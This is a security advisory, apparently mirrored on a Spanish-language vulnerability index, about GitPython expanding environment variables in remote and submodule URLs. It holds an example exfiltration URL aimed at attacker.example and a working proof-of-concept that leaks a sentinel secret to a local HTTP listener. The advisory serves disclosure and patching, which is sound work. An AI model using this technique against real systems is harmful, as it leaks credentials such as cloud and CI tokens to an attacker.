GHSA-94P4-4CQ8-9G67
GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 3.1.55 | gitpython · -1 d desde divulgación | |
| Divulgación | Publicada | GHSA-94P4-4CQ8-9G67 divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
Summary
The fix for GHSA-rwj8-pgh3-r573 https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573 stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed.
Root Cause
Fix commit `8ac5a305` https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2 added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` (`git/repo/base.py:1455` https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455). The shared helper's dangerous default was left in place, and the other callers were not updated.
`git/remote.py:811` https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811, `Remote.create`:
url = Git.polish_url(url) # expand_vars=True -> os.path.expandvars(url)
if not allow_unsafe_protocols:
Git.check_unsafe_protocols(url) # https:// carrying the secret passes
repo.git.remote(scmd, "--", name, url, **kwargs) # expanded URL written to .git/config`check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host — the disclosure primitive.
The same unguarded call also sits at `git/objects/submodule/base.py:611` https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611 (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`.
Steps to Reproduce
Prerequisites
- Python 3.9+
- `git` on `PATH` (for the fetch step)
- GitPython 3.1.53 (installed below)
Step 1: Install GitPython 3.1.53 in a clean venv
mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc
python3 -m venv venv
./venv/bin/pip install gitpython==3.1.53Step 2: Write the PoC
cat > poc.py <<'PYEOF'
#!/usr/bin/env python3
"""Env-var exfiltration via Repo.create_remote() URL. Sentinel data only."""
import http.server
import os
import tempfile
import threading
import git
print("gitpython version:", git.__version__)
# Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.
SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use"
os.environ["GP_SENTINEL_SECRET"] = SENTINEL
# Local HTTP server standing in for attacker.example.
captured = []
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
captured.append(self.path)
self.send_response(404)
self.end_headers()
def log_message(self, *a):
pass
srv = http.server.HTTPServer(("127.0.0.1", 0), Handler)
port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()
# Attacker-controlled URL handed to an "import from URL" feature.
attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port
def norm(s): # display the ephemeral listener port as a stable placeholder
return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT")
print("attacker-supplied URL :", norm(attacker_url))
repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-"))
remote = repo.create_remote("evil", attacker_url) # public API
stored = repo.remote("evil").url
print("stored remote URL :", norm(stored))
print("SENTINEL in git config:", SENTINEL in stored)
try:
remote.fetch() # transmits the expanded URL to the attacker host
except Exception:
pass # fetch fails after the request is already sent
srv.shutdown()
over_network = any(SENTINEL in p for p in captured)
print("HTTP paths received :", [norm(p) for p in captured])
print("SENTINEL over network :", over_network)
print()
if SENTINEL in stored and over_network:
print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host")
elif SENTINEL in stored:
print("VULNERABLE: env-var expanded into stored git-config URL")
else:
print("not reproduced")
PYEOFStep 3: Run it
cd /tmp/gp-remote-poc && ./venv/bin/python poc.pyExpected output (the listener's ephemeral port is shown as `PORT`):
gitpython version: 3.1.53
attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git
stored remote URL : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git
SENTINEL in git config: True
HTTP paths received : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']
SENTINEL over network : True
VULNERABLE: env-var expanded into stored URL AND transmitted to attacker hostThe `${GP_SENTINEL_SECRET}` token in the supplied URL is replaced with the environment value both in the stored `.git/config` URL and in the request that reaches the attacker-controlled host.
Suggested Fix
Pass `expand_vars=False` at the remaining URL callers, matching the clone fix:
- `git/remote.py` `Remote.create`: `url = Git.polish_url(url, expand_vars=False)`
- `git/objects/submodule/base.py` `Submodule.add`: `url = Git.polish_url(url, expand_vars=False)`
More robustly, flip the `Git.polish_url()` default to `expand_vars=False` (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.
Cleanup
rm -rf /tmp/gp-remote-pocImpact
Any secret in the hosting process environment (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to `Repo.create_remote()` / `Remote.add()`. The secret is expanded into `.git/config` immediately and transmitted over the network (DNS + HTTP) on the next `fetch`/`pull`/`remote update`. This is the documented "import repository from URL" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches `.gitmodules` (a committable file) via `Submodule.add()`.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypigitpython |
Corregida | 3.1.55 | -1 d | 3.2.1 no afectada |
3.1.55Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2https://github.com/gitpython-developers/GitPythonhttps://github.com/gitpython-developers/GitPython/releases/tag/3.1.55https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3951.yamlhttps://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-remote-addLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
